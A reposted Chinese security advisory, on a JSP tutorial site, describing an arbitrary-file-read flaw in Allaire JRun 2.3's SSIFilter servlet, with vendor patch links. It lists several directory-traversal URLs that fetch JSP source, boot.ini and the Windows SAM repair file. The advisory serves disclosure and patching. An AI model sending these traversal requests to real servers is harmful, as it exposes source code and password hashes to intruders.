当前位置: 首页 > 图文教程 > 网络编程 > JSP > Allaire JRUN 2.3 查看任意文件漏洞

JSP
Taglib原理和实现 第六章:标签内常用方法总结
用web_xml控制Web应用的行为(下)转贴
用Servlet实现下载
再论Session事件的捕获
Javascript传递中文出现乱码问题
JSP作为客户方访问CORBA服务对象
JSF(JavaServer Faces) 介绍
exception 隐含对象
ServletConfig和ServletConfig参数访问.
正确优雅的解决用户退出问题??JSP和Struts解决方案
JSP的9种基本内置组件
JSP处女作:commons-fileupload-1.0.jar + Oracle数据库文件上传
如何给jpg图片添加水印
利用Ant和XDoclet自动产生映射文件例子
Servlet设计
用servlet显示图片
Web应用中避免Form重复提交的三种方案
Web开发学习笔记
Servlet、Jsp性能优化
用Javascript实现Agent(网页精灵)(1)

JSP 中的 Allaire JRUN 2.3 查看任意文件漏洞


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-11-02   浏览: 41 ::
收藏到网摘: n/a

涉及程序:
JRUN

描述:
Allaire JRUN 2.3 查看任意文件漏洞

详细:
Allaire 的 JRUN 服务器 2.3上存在多重显示代码漏洞。该漏洞允许攻击者在 WEB 服务器上查看根目录下的任意文件的源代码。
JRun 2.3 使用 Java Servlets 解析各种各样类型的页面(例如:HTML, JSP等等)。基于rules.properties 和 servlets.properties 的文件设置,可能利用URL前缀"/servlet/"调用任何servlet。

它可能使用 Jrun 的 SSIFilter servlet 在目标系统上检索任意的文件。下列 2 个例子显示出能被用来检索任意的文件的 URLs :

http://jrun:8000/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../t
est.jsp

http://jrun:8000/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../.
./../../../../boot.ini

http://jrun:8000/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../.
./../../../../winnt/repair/sam._
http://jrun:8000/servlet/ssifilter/../../test.jsp
http://jrun:8000/servlet/ssifilter/../../../../../../../boot.ini

http://jrun:8000/servlet/ssifilter/../../../../../../../winnt/repair/sam._

注意:假设JRun在主机“ jrun ”上运行,端口8000。

受影响的系统:
Allaire JRun 2.3.x

解决方案:
下载并安装补丁:
Allaire patch jr233p_ASB00_28_29
http://download.allaire.com/jrun/jr233p_ASB00_28_29.zip
Windows 95/98/NT/2000 and Windows NT Alpha

Allaire patch jr233p_ASB00_28_29tar
http://download.allaire.com/jrun/jr233p_ASB00_28_29.tar.gz
UNIX/Linux patch - GNU gzip/tar